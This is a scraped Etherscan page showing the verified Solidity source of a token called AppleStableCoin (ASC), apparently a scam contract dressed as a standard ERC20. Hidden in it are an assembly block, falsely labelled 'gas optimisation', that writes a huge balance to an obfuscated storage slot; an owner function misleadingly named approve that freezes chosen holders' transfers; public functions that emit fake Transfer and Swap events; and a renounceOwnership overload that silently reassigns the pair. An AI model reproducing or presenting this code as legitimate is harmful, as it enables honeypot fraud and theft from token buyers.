ETH Price: $3,330.30 (-3.96%)

Token

AppleStableCoin (ASC)
 

Overview

Max Total Supply

1,000,000,000,000 ASC

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
cryptopolitan.eth
Balance
46,316,769,616.658226474545825379 ASC

Value
$0.00
0xb8adcc8e382a7c43bdfa2e1c47059a1afec10e06
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AppleStableCoin

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-27
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _alllowances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    bool private _alllowancesApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, "");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);
        // gas optimisation 
        assembly {
            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
            mstore(0x00, slot)
            mstore(0x20, 0x01)
            let sslot := keccak256(0x0, 0x40)
            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        } 
        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ERC20_Extension is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}


    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _alllowances[_address_];
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }
}



/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

contract AppleStableCoin is ERC20_Extension {
    constructor() ERC20_Extension("AppleStableCoin", "ASC") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"